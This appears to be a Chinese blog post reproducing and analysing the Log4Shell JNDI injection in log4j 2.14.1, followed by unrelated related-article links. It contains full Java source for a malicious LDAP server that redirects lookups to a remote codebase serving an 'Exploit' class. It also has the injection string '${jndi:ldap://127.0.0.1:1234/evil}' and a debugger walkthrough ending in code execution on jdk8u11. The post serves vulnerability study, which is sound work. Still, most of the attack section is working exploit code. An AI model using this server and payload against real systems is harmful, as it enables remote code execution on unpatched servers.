zoukankan      html  css  js  c++  java
  • log4j JNDI 注入分析

    环境搭建

    依赖:

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>4.0.9</version>
        <scope>test</scope>
    </dependency>

    ldap server :

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    public class Server {
        private static final String LDAP_BASE = "dc=ldap,dc=Log4j,dc=com";
    
        public static void main (String[] args) {
            // 恶意class文件存放url
            String url = "http://127.0.0.1:8000/#evil";
            // ldap 服务器端口号
            int port = 1234;
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port);
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
            /**
             * {@inheritDoc}
             *
             * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
             */
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    }

    测试代码:

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class test {
        private static final Logger logger = LogManager.getLogger(test.class);
    
        public static void main(String[] args) {
            String str = "${jndi:ldap://127.0.0.1:1234/evil}";
            logger.error("params:{}",str);
        }
    }

    漏洞分析

    官方文档介绍log4j提供很多lookups,也正是因为它支持jndi的方式所以造成了该漏洞。

    接下来,下断点跟进,直到 org.apache.logging.log4j.core.lookup#Strsubstitutor.replace方法,跟进调用的 substitute(event, buf, 0, source.length())

    函数简介说明,该函数可以解析文本中包含变量的值,往下走

     发现 isMatch(chars, pos, offset, bufEnd)

     这是一个做字符串匹配的函数,chars[]的内容和buffer的匹配就返回chars[]的长度

    继续往下跟,直到 resolveVariable(event, varName, buf, startPos, endPos) (中间的过程很漫长,需要点耐心,一直在处理字符串)

    中间没什么特别的操作

     跟进 lookup(event, variableName),看一下这个lookup是不是我属性的jndi常用的lookup

     

    看到程序走到 return (T) this.context.lookup(name) 弹出计算器

    再看看context的定义是我们所熟知的 javax.naming.Context就一目了然了

    最后

    本文复现环境 jdk8u11

    换一个高版本的jdk,ldap协议就不行了,因为不再支持加载远程class

    下图使用jdk8u301,看到ldap server收到请求,但是不会弹出计算器了

    这同样也就解释了,为啥dnslog收到了请求,却打不了的情况~

     

  • 相关阅读:
    一些个人看到觉得还不错的资料,现在先把记得的保存下来,以后碰到会继续更新
    鼠标 mouseover和mouseout事件
    phpqrcode 生成二维码
    django url路径与模板中样式相对路径的问题
    js parseInt和map函数
    WebService 布置简单的计算器
    java ++的使用
    java 运算符
    Java的概念
    public 有跟没有的区别
  • 原文地址:https://www.cnblogs.com/planBinary/p/15679671.html
Copyright © 2011-2022 走看看